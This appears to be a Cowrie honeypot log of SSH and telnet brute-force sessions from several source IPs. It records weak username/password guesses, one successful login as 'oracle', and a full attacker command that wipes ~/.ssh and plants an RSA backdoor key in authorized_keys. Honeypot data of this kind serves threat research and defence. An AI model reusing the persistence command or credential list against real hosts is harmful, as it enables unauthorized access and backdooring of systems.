{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:14.781200Z","src_ip":"176.65.132.129","session":"2bc9f1ce023a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:15.030374Z","src_ip":"176.65.132.129","session":"2bc9f1ce023a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:16.117709Z","src_ip":"176.65.132.129","session":"2bc9f1ce023a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"164eeffeefb2","protocol":"ssh","message":"New connection: 176.65.132.129:39970 (10.17.0.5:22) [session: 164eeffeefb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:18.256120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:18.260340Z","src_ip":"176.65.132.129","session":"164eeffeefb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:18.342457Z","src_ip":"176.65.132.129","session":"164eeffeefb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:18.589609Z","src_ip":"176.65.132.129","session":"164eeffeefb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:19.715758Z","src_ip":"176.65.132.129","session":"164eeffeefb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2788d7cf9b9e","protocol":"telnet","message":"New connection: 64.227.82.147:42876 (159.203.135.109:23) [session: 2788d7cf9b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:19.786945Z"}
{"eventid":"cowrie.session.closed","duration":59.300384759902954,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:19.837059Z","src_ip":"38.60.198.128","session":"9adad21ae14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.814361810684204,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:20.590094Z","src_ip":"38.60.198.128","session":"6e2b150255a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54524,"dst_ip":"159.203.135.109","dst_port":23,"session":"af56441be158","protocol":"telnet","message":"New connection: 38.60.198.128:54524 (159.203.135.109:23) [session: af56441be158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:20.736290Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56950,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5c75aca954","protocol":"telnet","message":"New connection: 38.60.198.128:56950 (159.203.135.109:23) [session: ce5c75aca954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:20.742424Z"}
{"eventid":"cowrie.session.closed","duration":41.813340187072754,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:20.930458Z","src_ip":"38.60.198.128","session":"c13aee06a380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.31405520439148,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:21.577603Z","src_ip":"45.81.23.16","session":"d3f0695aaf28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39980,"dst_ip":"10.17.0.5","dst_port":22,"session":"819770741012","protocol":"ssh","message":"New connection: 176.65.132.129:39980 (10.17.0.5:22) [session: 819770741012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:21.584207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:21.589344Z","src_ip":"176.65.132.129","session":"819770741012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:21.670658Z","src_ip":"176.65.132.129","session":"819770741012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:21.915032Z","src_ip":"176.65.132.129","session":"819770741012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e92f836fef4c","protocol":"telnet","message":"New connection: 38.60.198.128:59706 (159.203.135.109:23) [session: e92f836fef4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:22.156448Z"}
{"eventid":"cowrie.session.closed","duration":40.55211877822876,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:22.308756Z","src_ip":"38.60.198.128","session":"204b919047c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:22.999783Z","src_ip":"176.65.132.129","session":"819770741012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.543554544448853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:24.154884Z","src_ip":"45.81.23.16","session":"eadbca3e14eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39996,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf2f07a362f","protocol":"ssh","message":"New connection: 176.65.132.129:39996 (10.17.0.5:22) [session: 4bf2f07a362f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:25.058180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:25.064289Z","src_ip":"176.65.132.129","session":"4bf2f07a362f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:25.147382Z","src_ip":"176.65.132.129","session":"4bf2f07a362f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:25.395511Z","src_ip":"176.65.132.129","session":"4bf2f07a362f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.086220026016235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:25.897510Z","src_ip":"192.211.53.160","session":"6b02929225b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09581685066223,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:26.322189Z","src_ip":"192.211.53.160","session":"1b17ced39603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":42558,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d32557a9de","protocol":"ssh","message":"New connection: 57.128.222.14:42558 (159.203.135.109:22) [session: 95d32557a9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:26.458871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:26.464045Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:26.522124Z","src_ip":"176.65.132.129","session":"4bf2f07a362f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:26.569356Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwer1234","message":"login attempt [oracle/qwer1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.015024Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.268499Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.272124Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.276348Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.383323Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36518,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b1f98a4bac","protocol":"telnet","message":"New connection: 38.60.198.128:36518 (159.203.135.109:23) [session: 16b1f98a4bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.425642Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.631071Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.633782Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.743368Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.747322Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":42562,"dst_ip":"159.203.135.109","dst_port":22,"session":"14095f67e7fb","protocol":"ssh","message":"New connection: 57.128.222.14:42562 (159.203.135.109:22) [session: 14095f67e7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.849688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.854106Z","src_ip":"57.128.222.14","session":"14095f67e7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:27.964108Z","src_ip":"57.128.222.14","session":"14095f67e7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60902,"dst_ip":"10.17.0.5","dst_port":22,"session":"4759b9fe93f6","protocol":"ssh","message":"New connection: 176.65.132.129:60902 (10.17.0.5:22) [session: 4759b9fe93f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:28.387013Z"}
